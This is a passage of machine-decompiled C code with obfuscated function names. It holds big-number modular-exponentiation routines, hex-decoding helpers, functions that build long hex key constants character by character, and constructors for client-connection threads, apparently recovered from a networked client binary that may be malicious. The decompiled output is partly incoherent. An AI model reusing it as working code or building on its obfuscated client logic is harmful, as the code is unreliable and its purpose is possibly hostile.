// break -> 0x8079953
break;
}
v21 = v39;
v22 = v31;
// continue -> 0x80797b2
}
// 0x8079953
CIHNs5r_501(&v3->e0, (struct struct_1 *)v17);
CIHNs5r__Udjf34(*a1, v3);
CIHNs5r_500();
v20 = *(int32_t *)(4 * v12 / 32 + 4 + *a3);
v19 = v12 % 32;
v18 = v20;
if (v19 != 0) {
lab_0x5eaa2a0:
// if_80799a9_0_true
v18 = v20 >> v19;
// branch -> after_if_80799a9_0
}
lab_0x1ec49360:;
int32_t * v40 = v17; // 0x8079c5b_58
int32_t v41; // 0x8079c8e
if (v18 % 2 != 0) {
// 0x80799b6
int32_t * v42;
CIHNs5r__Udjf31(v42, (struct struct_1 *)a2, (struct struct_1 *)*a1);
CIHNs5r__Udjf34(v17, (struct struct_1 *)v42);
CIHNs5r_500();
int32_t ** v43;
CIHNs5r_501((int32_t *)v43, a4);
int32_t ** v44;
CIHNs5r__Udjf01(v44, (struct struct_1 *)v17, v43);
CIHNs5r__Udjf34(v17, (struct struct_1 *)v44);
CIHNs5r_500();
CIHNs5r_500();
v16 = (struct struct_1 *)1;
int32_t * v45 = v17;
if (**a1 > 1) {
struct struct_1 * v46 = (struct struct_1 *)1;
int32_t * v47 = v17; // 0x59132
while (true) {
int32_t v48 = (int32_t)v47; // 0x8079aad
struct struct_1 * v49 = v46; // 0x8079af7_0
int32_t ** v50 = a1;
if (v47 > NULL) {
int32_t v51 = v48;
int32_t v52 = v51 - 1; // 0x8079abe
int32_t * v53 = v23;
v53[v51] = *v53;
while (v52 > 0) {
// 0x8079ab8
v51 = v52;
v52 = v51 - 1;
v53 = v23;
v53[v51] = *v53;
// continue -> 0x8079ab8
}
// 0x8079ad2
v49 = v16;
v50 = a1;
// branch -> 0x8079ad8
}
// 0x8079ad8
v23 = NULL;
int32_t v54 = v48 + 1; // 0x8079ae8
int32_t * v55 = (int32_t *)v54; // 0x8079ae9_0
int32_t * v56 = *v50; // 0x8079aef
int32_t v57 = **v50; // 0x8079af5
int32_t v58 = *(int32_t *)((int32_t)v56 + 4 + 4 * (v57 - (int32_t)v49 - 1)); // 0x8079afb
int32_t * v59;
CIHNs5r__Udjf31(v59, (struct struct_1 *)a2, (struct struct_1 *)v58);
CIHNs5r__Udjf32(v4, v55, (struct struct_1 *)v59);
CIHNs5r__Udjf34(v55, v4);
CIHNs5r_500();
CIHNs5r_500();
int32_t ** v60;
CIHNs5r_501((int32_t *)v60, a4);
int32_t ** v61;
CIHNs5r__Udjf01(v61, (struct struct_1 *)v54, v60);
CIHNs5r__Udjf34(v55, (struct struct_1 *)v61);
CIHNs5r_500();
CIHNs5r_500();
uint32_t v62 = (int32_t)v16 + 1; // 0x8079c3a
struct struct_1 * v63 = (struct struct_1 *)v62; // 0x8079c3a_3
v16 = v63;
if (**a1 <= v62) {
v45 = v55;
// break -> 0x8079c4a
break;
}
v46 = v63;
v47 = v55;
// continue -> 0x8079aad
}
// 0x8079c4a
CIHNs5r_501(&v5->e0, (struct struct_1 *)v45);
CIHNs5r__Udjf34(*a1, v5);
CIHNs5r_500();
// branch -> 0x8079c8b
lab_0x5ebc720:
// 0x8079c8b
v41 = v12 - 1;
if (v41 <= 0) {
// break -> 0x8079cc2
break;
}
v12 = v41;
v6 = v45;
// continue -> 0x80796ba
continue;
}
// 0x8079c4a
CIHNs5r_501(&v5->e0, (struct struct_1 *)v45);
CIHNs5r__Udjf34(*a1, v5);
CIHNs5r_500();
// branch -> 0x8079c8b
goto lab_0x5ebc720;
}
// 0x8079c8b
v41 = v12 - 1;
if (v41 <= 0) {
// break -> 0x8079cc2
break;
}
v12 = v41;
v6 = v40;
// continue -> 0x80796ba
continue;
}
// 0x8079953
CIHNs5r_501(&v3->e0, (struct struct_1 *)v17);
CIHNs5r__Udjf34(*a1, v3);
CIHNs5r_500();
v20 = *(int32_t *)(4 * v12 / 32 + 4 + *a3);
v19 = v12 % 32;
if (v19 == 0) {
v18 = v20;
goto lab_0x1ec49360;
}
goto lab_0x5eaa2a0;
}
// 0x8079cc2
CIHNs5r_500();
return (int32_t)*a1;
}
// Address range: 0x8079d10 - 0x8079d55
int32_t Ytsd0(int32_t a1) {
// 0x8079d10
g95 = a1;
unsigned char v1 = (char)a1; // 0x8079d19
int32_t v2 = 0x1000000 * a1;
int32_t v3 = v2 / 0x1000000;
int32_t result; // 0x8079d512
int32_t v4; // 0x8079d4b
if (v2 < 0x30000000) {
// 0x8079d3b
if (v1 < 65) {
// 0x8079d51
return 0;
}
// 0x8079d41
if (v1 <= 70) {
// 0x8079d47
v4 = v3 - 55;
g95 = v4;
result = v4;
// branch -> 0x8079d51
} else {
result = 0;
}
// 0x8079d51
return result;
}
// 0x8079d29
if (v1 <= 57) {
int32_t result2 = v3 - 48; // 0x8079d33
g95 = result2;
// branch -> 0x8079d51
// 0x8079d51
return result2;
}
// 0x8079d3b
if (v1 < 65) {
// 0x8079d51
return 0;
}
// 0x8079d41
if (v1 <= 70) {
// 0x8079d47
v4 = v3 - 55;
g95 = v4;
result = v4;
// branch -> 0x8079d51
} else {
result = 0;
}
// 0x8079d51
return result;
}
// Address range: 0x8079d56 - 0x8079e21
int32_t Nh76f(int32_t result, struct struct_59 * a2) {
int32_t v1 = g98; // 0x8079d5a
int32_t v2 = result; // bp-60
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v2);
int32_t v3 = 0;
struct struct_59 * v4 = (struct struct_59 *)(int32_t)a2->e0; // 0x8079dda_0
// 0x8079e15
g98 = v1;
// branch -> 0x8079dcf
while (v3 < -((-1 * strlen(&((struct struct_59 *)(int32_t)v4->e0)->e0))) / 2) {
// 0x8079dcf
int32_t v5 = a2->e0; // 0x8079d7e
v2 = v5;
g98 = g98 & -256 | 16 * Ytsd0(v5) & 240;
int32_t v6 = a2->e0; // 0x8079d9d
v2 = v6;
int32_t v7 = Ytsd0(v6); // 0x8079da6
v2 = result;
std__string__append(&v2, 1, (char)(0x1000000 * (g98 + v7) / 0x1000000));
v3++;
v4 = (struct struct_59 *)(int32_t)a2->e0;
// 0x8079e15
g98 = v1;
// branch -> 0x8079dcf
}
return result;
}
// Address range: 0x8079e22 - 0x807a129
int32_t Mid89(struct struct_59 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t * v1;
int32_t * v2 = v1; // bp-588
struct struct_1 * v3 = NULL; // bp-300
CIHNs5r(v1);
int32_t * v4;
CIHNs5r(v4);
int32_t v5;
CIHNs5r(&v5);
int32_t v6;
CIHNs5r(&v6);
int32_t v7 = 16; // bp-1044
CIHNs5r__Udjf67(v1, &a2, (struct struct_1 *)&v7);
v7 = 16;
a2 = a3;
CIHNs5r__Udjf67(&v5, &a2, (struct struct_1 *)&v7);
v7 = 16;
a2 = a4;
CIHNs5r__Udjf67(&v6, &a2, (struct struct_1 *)&v7);
CIHNs5r_501(&v3->e0, (struct struct_1 *)&v6);
int32_t * v8;
CIHNs5r_501(v8, (struct struct_1 *)&v5);
int32_t ** v9;
CIHNs5r__Udjf69(v9, v2, v8, v3, (int32_t *)1);
CIHNs5r__Udjf34(v4, (struct struct_1 *)v9);
CIHNs5r_500();
CIHNs5r_500();
CIHNs5r_500();
a2 = 16;
int32_t v10 = a1->e0;
CIHNs5r__Udjf68((struct struct_3 *)v4, (int32_t *)v10, (struct struct_1 *)&a2);
struct struct_59 * v11 = (struct struct_59 *)std__string__c_str((int32_t *)(int32_t)a1->e0); // 0x8079fd3_3
int32_t v12;
Nh76f(v12, v11);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v12);
CIHNs5r_500();
CIHNs5r_500();
CIHNs5r_500();
CIHNs5r_500();
return (int32_t)&v2;
}
// Address range: 0x807a12a - 0x807b95b
int32_t UYT54(int32_t result) {
int32_t v1 = g98; // 0x807a12d
int32_t * v2;
memcpy(v2, (int32_t *)0x8102bc0, 512);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
g95 = 128;
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98;
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, (int32_t)g2, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x807b95e - 0x807e90f
int32_t Uidi(int32_t result) {
int32_t v1 = g98; // 0x807b961
int32_t * v2;
memcpy(v2, (int32_t *)0x8102dc0, 512);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)67, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)56, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)69, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)51, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)55, (int32_t *)256);
KDS87y((int16_t *)50, (int32_t *)256);
KDS87y((int16_t *)66, (int32_t *)256);
KDS87y((int16_t *)49, (int32_t *)256);
KDS87y((int16_t *)65, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)48, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)57, (int32_t *)256);
KDS87y((int16_t *)52, (int32_t *)256);
KDS87y((int16_t *)70, (int32_t *)256);
KDS87y((int16_t *)68, (int32_t *)256);
KDS87y((int16_t *)53, (int32_t *)256);
KDS87y((int16_t *)54, (int32_t *)256);
g95 = 256;
g98 = result;
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t v4 = g98;
int32_t v5;
int32_t v6;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v4, (int32_t)g2, v3, v6, v5, 0);
std__allocator_lt_char_gt_();
g98 = v1;
return result;
}
// Address range: 0x807e912 - 0x807e97b
int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t a4) {
int32_t result = (int32_t)a1; // 0x807e918
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66((struct struct_3 *)a1, a2, &a4);
int32_t v1;
std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v1, (int32_t *)a1);
g95 = result;
int32_t v2 = *(int32_t *)a1; // 0x807e943
std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v2, a2, (char *)a3);
std__allocator_lt_char_gt_();
*(int32_t *)(result + 4) = *(int32_t *)a1 + (int32_t)a2;
return result;
}
// Address range: 0x808379e - 0x80837c7
int32_t CThreadClientStatus_425(struct struct_3 * a1, int32_t result) {
// 0x808379e
CThread((struct struct_78 *)a1);
a1->e0 = 0x8105478;
*(int32_t *)((int32_t)a1 + 52) = result;
return result;
}
// Address range: 0x80838e8 - 0x8083933
int32_t CThreadConnection_429(struct struct_61 * a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x80838e8
CThread((struct struct_78 *)a1);
a1->e0 = 0x81054d0;
*(int32_t *)((int32_t)a1 + 52) = a2;
*(int32_t *)((int32_t)a1 + 56) = a3;
*(int32_t *)((int32_t)a1 + 60) = a4;
*(int16_t *)((int32_t)a1 + 64) = 0;
int32_t result = (int32_t)a1; // 0x808392e
*(char *)(result + 66) = 0;
return result;
}
// Address range: 0x8083aec - 0x8083b05
int32_t CThreadConnection__CloseSocket(int32_t a1) {
// 0x8083aec
return CNetBase__Close(*(int32_t *)(a1 + 56));
}
// Address range: 0x8083bc4 - 0x8083c81
int32_t CThreadFXConnection_433(struct struct_62 * a1, int32_t a2, int32_t a3) {
// 0x8083bc4
CThread((struct struct_78 *)a1);
a1->e0 = 0x81054e8;
g95 = a2;
*(int32_t *)((int32_t)a1 + 52) = a2;
int32_t v1;
std__allocator_lt_char_gt__598(v1);
struct struct_62 * v2 = (struct struct_62 *)((int32_t)a1 + 56); // 0x8083c0c_0
int32_t v3;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2->e0, a3, v1, v3, (int32_t)NULL, 0);
std__allocator_lt_char_gt_();
*(int32_t *)((int32_t)a1 + 60) = 0;
*(int16_t *)((int32_t)a1 + 64) = 0;
int32_t result = (int32_t)a1; // 0x8083c56
*(char *)(result + 66) = 0;
return result;
}
